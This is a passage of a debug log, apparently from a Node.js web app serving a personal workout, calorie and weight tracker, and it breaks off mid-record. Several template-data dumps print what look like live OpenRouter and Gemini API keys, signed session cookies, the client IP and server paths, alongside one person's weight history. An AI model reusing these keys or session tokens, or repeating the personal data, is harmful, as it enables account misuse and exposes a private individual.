2026-01-30T10:36:01.272Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:36:01.272Z server-connect:output restrict: undefined
2026-01-30T10:36:01.272Z server-connect:app Executing action step select
2026-01-30T10:36:01.272Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'workout_exercise' },
    primary: 'exercise_id',
    joins: [],
    query: 'select `exercise_id`, `workout_name`, `exercise_name`, `type`, `no_of_sets`, `group`, `workout_day` from `workout_exercise` where `workout_exercise`.`schedule_id` = ?',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    sub: { workout_tracker: [Object] }
  }
}
2026-01-30T10:36:01.278Z server-connect:output list: [
  {
    exercise_id: 1,
    workout_name: 'Chest',
    exercise_name: 'Bench Press',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: [ [Object], [Object], [Object], [Object], [Object] ]
  },
  {
    exercise_id: 2,
    workout_name: 'Back',
    exercise_name: 'Dumbell Row',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 3,
    workout_name: 'Chest',
    exercise_name: 'Incline Dumbell Press',
    type: 'Regular',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 4,
    workout_name: 'Chest',
    exercise_name: 'Pec Deck Fly',
    type: 'Regular',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    workout_tracker: [ [Object] ]
  },
  {
    exercise_id: 5,
    workout_name: 'Shoulder',
    exercise_name: 'Dumbell Overhead Press',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  },
  {
    exercise_id: 6,
    workout_name: 'Arms',
    exercise_name: 'Standing Bicep curl',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 7,
    workout_name: 'Arms',
    exercise_name: 'Seated Z bar curl',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  }
]
2026-01-30T10:36:05.742Z server-connect:router Serving templateView /calorie-tracker
2026-01-30T10:36:05.743Z server-connect:app Executing action step identify
2026-01-30T10:36:05.743Z server-connect:app options: { provider: 'security' }
2026-01-30T10:36:05.743Z server-connect:output identity: 1
2026-01-30T10:36:05.743Z server-connect:app Executing action step restrict
2026-01-30T10:36:05.743Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-30T10:36:05.743Z server-connect:output restrict: undefined
2026-01-30T10:36:05.743Z server-connect:router Render template calorie-tracker
2026-01-30T10:36:05.744Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3APFwTOWWMWw1DiIVFMzGNmA%3D%3D.86EaewkY1yX7LBY%2Bfdxj2Q3EkKG4hEw%2Be4HTjLby0oJG5K2EqEHw9JgCh512qEQdtnltcvOheXih0395WS65%2FGENwougPxjBkLvJs5GmQYi%2FiU245qnFhsPkDuICMgGNsyvoOUqvkAFsrkDT%2B3MI6DQQagkD%2FeltUcWD%2BLt9X0k%3D.356DpcZHozSamVMkOGixMXsKGXfcaIJwLYNlOsCNJa0; your_r_git.sid=s%3AySm6sIjj5ojFFbTPuDgtdD6lBUl4Svyd.hK8ZD1URCa8E0YqDnIAYRkqRDMHQLVl9Z0z%2B00%2BNcco',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-31T10:35:49.553Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3APFwTOWWMWw1DiIVFMzGNmA%3D%3D.86EaewkY1yX7LBY%2Bfdxj2Q3EkKG4hEw%2Be4HTjLby0oJG5K2EqEHw9JgCh512qEQdtnltcvOheXih0395WS65%2FGENwougPxjBkLvJs5GmQYi%2FiU245qnFhsPkDuICMgGNsyvoOUqvkAFsrkDT%2B3MI6DQQagkD%2FeltUcWD%2BLt9X0k%3D.356DpcZHozSamVMkOGixMXsKGXfcaIJwLYNlOsCNJa0; your_r_git.sid=s%3AySm6sIjj5ojFFbTPuDgtdD6lBUl4Svyd.hK8ZD1URCa8E0YqDnIAYRkqRDMHQLVl9Z0z%2B00%2BNcco',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-01-30T10:36:05.998Z server-connect:router Serving serverConnect /api/health/todays-calories
2026-01-30T10:36:05.999Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2026-01-30T10:36:05.999Z server-connect:app Executing action step identify
2026-01-30T10:36:05.999Z server-connect:app options: { provider: 'security' }
2026-01-30T10:36:05.999Z server-connect:output identity: 1
2026-01-30T10:36:06.000Z server-connect:app Executing action step restrict
2026-01-30T10:36:06.000Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:36:06.001Z server-connect:app Executing action step identify
2026-01-30T10:36:06.001Z server-connect:app options: { provider: 'security' }
2026-01-30T10:36:06.001Z server-connect:output identity: 1
2026-01-30T10:36:06.001Z server-connect:app Executing action step restrict
2026-01-30T10:36:06.001Z server-connect:app options: { provider: 'security' }
2026-01-30T10:36:06.001Z server-connect:output restrict: undefined
2026-01-30T10:36:06.001Z server-connect:app Executing action step single
2026-01-30T10:36:06.001Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2026-01-30T10:36:06.003Z server-connect:output restrict: undefined
2026-01-30T10:36:06.003Z server-connect:app Executing action step single
2026-01-30T10:36:06.003Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2026-01-30T10:36:06.005Z server-connect:output summary: undefined
2026-01-30T10:36:06.007Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2026-01-30T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2026-01-30T10:36:06.007Z server-connect:app Executing action step select
2026-01-30T10:36:06.007Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2026-01-30T10:36:06.011Z server-connect:output item_list: []
2026-01-30T10:36:06.012Z server-connect:app Executing action step setvalue
2026-01-30T10:36:06.012Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2026-01-30T10:36:06.013Z server-connect:output var_total: 0
2026-01-30T10:36:06.013Z server-connect:app Executing action step setvalue
2026-01-30T10:36:06.013Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2026-01-30T10:36:06.013Z server-connect:output var_consumed: 0
2026-01-30T10:36:06.013Z server-connect:app Executing action step setvalue
2026-01-30T10:36:06.013Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2026-01-30T10:36:06.013Z server-connect:output var_deficit: 2400
2026-01-30T10:36:06.014Z server-connect:app Executing action step custom
2026-01-30T10:36:06.014Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2026-01-30T10:36:06.016Z server-connect:output monthly_chart: [
  {
    intake_date: 2026-01-01T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2026-01-02T18:30:00.000Z,
    total_consumed: '1908',
    surplus_or_deficit: '492',
    status_flag: 1
  },
  {
    intake_date: 2026-01-03T18:30:00.000Z,
    total_consumed: '485',
    surplus_or_deficit: '1915',
    status_flag: 2
  },
  {
    intake_date: 2026-01-04T18:30:00.000Z,
    total_consumed: '2793',
    surplus_or_deficit: '-393',
    status_flag: 0
  },
  {
    intake_date: 2026-01-05T18:30:00.000Z,
    total_consumed: '1933',
    surplus_or_deficit: '467',
    status_flag: 1
  },
  {
    intake_date: 2026-01-06T18:30:00.000Z,
    total_consumed: '1970',
    surplus_or_deficit: '430',
    status_flag: 1
  },
  {
    intake_date: 2026-01-07T18:30:00.000Z,
    total_consumed: '905',
    surplus_or_deficit: '1495',
    status_flag: 2
  },
  {
    intake_date: 2026-01-11T18:30:00.000Z,
    total_consumed: '2330',
    surplus_or_deficit: '70',
    status_flag: 1
  },
  {
    intake_date: 2026-01-12T18:30:00.000Z,
    total_consumed: '1738',
    surplus_or_deficit: '662',
    status_flag: 2
  },
  {
    intake_date: 2026-01-13T18:30:00.000Z,
    total_consumed: '795',
    surplus_or_deficit: '1605',
    status_flag: 2
  },
  {
    intake_date: 2026-01-14T18:30:00.000Z,
    total_consumed: '710',
    surplus_or_deficit: '1690',
    status_flag: 2
  },
  {
    intake_date: 2026-01-15T18:30:00.000Z,
    total_consumed: '350',
    surplus_or_deficit: '2050',
    status_flag: 2
  },
  {
    intake_date: 2026-01-18T18:30:00.000Z,
    total_consumed: '148',
    surplus_or_deficit: '2252',
    status_flag: 2
  },
  {
    intake_date: 2026-01-21T18:30:00.000Z,
    total_consumed: '1460',
    surplus_or_deficit: '940',
    status_flag: 2
  },
  {
    intake_date: 2026-01-23T18:30:00.000Z,
    total_consumed: '995',
    surplus_or_deficit: '1405',
    status_flag: 2
  }
]
2026-01-30T10:36:06.017Z server-connect:app Executing action step single
2026-01-30T10:36:06.017Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `weight`, `date` from `health_weight_trackor` order by `created_on` DESC'
  }
}
2026-01-30T10:36:06.019Z server-connect:output current_weight: { weight: '68.40', date: '2026-01-23T18:30:00.000Z' }
2026-01-30T10:36:06.572Z server-connect:app Executing action step identify
2026-01-30T10:36:06.572Z server-connect:app options: { provider: 'security' }
2026-01-30T10:36:06.572Z server-connect:output identity: 1
2026-01-30T10:36:08.882Z server-connect:router Serving templateView /weight-trackor
2026-01-30T10:36:08.883Z server-connect:app Executing action step identify
2026-01-30T10:36:08.883Z server-connect:app options: { provider: 'security' }
2026-01-30T10:36:08.883Z server-connect:output identity: 1
2026-01-30T10:36:08.883Z server-connect:app Executing action step restrict
2026-01-30T10:36:08.883Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-30T10:36:08.883Z server-connect:output restrict: undefined
2026-01-30T10:36:08.883Z server-connect:router Render template weight-trackor
2026-01-30T10:36:08.884Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3APFwTOWWMWw1DiIVFMzGNmA%3D%3D.86EaewkY1yX7LBY%2Bfdxj2Q3EkKG4hEw%2Be4HTjLby0oJG5K2EqEHw9JgCh512qEQdtnltcvOheXih0395WS65%2FGENwougPxjBkLvJs5GmQYi%2FiU245qnFhsPkDuICMgGNsyvoOUqvkAFsrkDT%2B3MI6DQQagkD%2FeltUcWD%2BLt9X0k%3D.356DpcZHozSamVMkOGixMXsKGXfcaIJwLYNlOsCNJa0; your_r_git.sid=s%3AySm6sIjj5ojFFbTPuDgtdD6lBUl4Svyd.hK8ZD1URCa8E0YqDnIAYRkqRDMHQLVl9Z0z%2B00%2BNcco',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-31T10:35:49.553Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3APFwTOWWMWw1DiIVFMzGNmA%3D%3D.86EaewkY1yX7LBY%2Bfdxj2Q3EkKG4hEw%2Be4HTjLby0oJG5K2EqEHw9JgCh512qEQdtnltcvOheXih0395WS65%2FGENwougPxjBkLvJs5GmQYi%2FiU245qnFhsPkDuICMgGNsyvoOUqvkAFsrkDT%2B3MI6DQQagkD%2FeltUcWD%2BLt9X0k%3D.356DpcZHozSamVMkOGixMXsKGXfcaIJwLYNlOsCNJa0; your_r_git.sid=s%3AySm6sIjj5ojFFbTPuDgtdD6lBUl4Svyd.hK8ZD1URCa8E0YqDnIAYRkqRDMHQLVl9Z0z%2B00%2BNcco',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-01-30T10:36:09.130Z server-connect:router Serving serverConnect /api/health/get-weight-log
2026-01-30T10:36:09.131Z server-connect:app Executing action step identify
2026-01-30T10:36:09.131Z server-connect:app options: { provider: 'security' }
2026-01-30T10:36:09.131Z server-connect:output identity: 1
2026-01-30T10:36:09.131Z server-connect:app Executing action step restrict
2026-01-30T10:36:09.131Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:36:09.132Z server-connect:output restrict: undefined
2026-01-30T10:36:09.132Z server-connect:app Executing action step custom
2026-01-30T10:36:09.132Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2026-01-30T10:36:09.133Z server-connect:output list: [
  { date: 2026-01-23T18:30:00.000Z, weight: '68.40' },
  { date: 2026-01-21T18:30:00.000Z, weight: '68.90' },
  { date: 2026-01-15T18:30:00.000Z, weight: '69.60' },
  { date: 2026-01-14T18:30:00.000Z, weight: '70.00' },
  { date: 2026-01-13T18:30:00.000Z, weight: '70.50' },
  { date: 2026-01-10T18:30:00.000Z, weight: '69.30' },
  { date: 2026-01-09T18:30:00.000Z, weight: '69.60' },
  { date: 2026-01-05T18:30:00.000Z, weight: '69.40' },
  { date: 2026-01-03T18:30:00.000Z, weight: '69.60' },
  { date: 2026-01-01T18:30:00.000Z, weight: '69.60' },
  { date: 2025-12-30T18:30:00.000Z, weight: '70.00' },
  { date: 2025-12-25T18:30:00.000Z, weight: '69.30' },
  { date: 2025-12-24T18:30:00.000Z, weight: '69.60' },
  { date: 2025-12-23T18:30:00.000Z, weight: '69.70' },
  { date: 2025-12-21T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-20T18:30:00.000Z, weight: '69.80' },
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' }
]
2026-01-30T10:36:14.060Z server-connect:router Serving templateView /diecast
2026-01-30T10:36:14.060Z server-connect:app Executing action step identify
2026-01-30T10:36:14.060Z server-connect:app options: { provider: 'security' }
2026-01-30T10:36:14.061Z server-connect:output identity: 1
2026-01-30T10:36:14.061Z server-connect:app Executing action step restrict
2026-01-30T10:36:14.061Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-30T10:36:14.061Z server-connect:output restrict: undefined
2026-01-30T10:36:14.061Z server-connect:router Render template diecast
2026-01-30T10:36:14.062Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3APFwTOWWMWw1DiIVFMzGNmA%3D%3D.86EaewkY1yX7LBY%2Bfdxj2Q3EkKG4hEw%2Be4HTjLby0oJG5K2EqEHw9JgCh512qEQdtnltcvOheXih0395WS65%2FGENwougPxjBkLvJs5GmQYi%2FiU245qnFhsPkDuICMgGNsyvoOUqvkAFsrkDT%2B3MI6DQQagkD%2FeltUcWD%2BLt9X0k%3D.356DpcZHozSamVMkOGixMXsKGXfcaIJwLYNlOsCNJa0; your_r_git.sid=s%3AySm6sIjj5ojFFbTPuDgtdD6lBUl4Svyd.hK8ZD1URCa8E0YqDnIAYRkqRDMHQLVl9Z0z%2B00%2BNcco',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-31T10:35:49.553Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
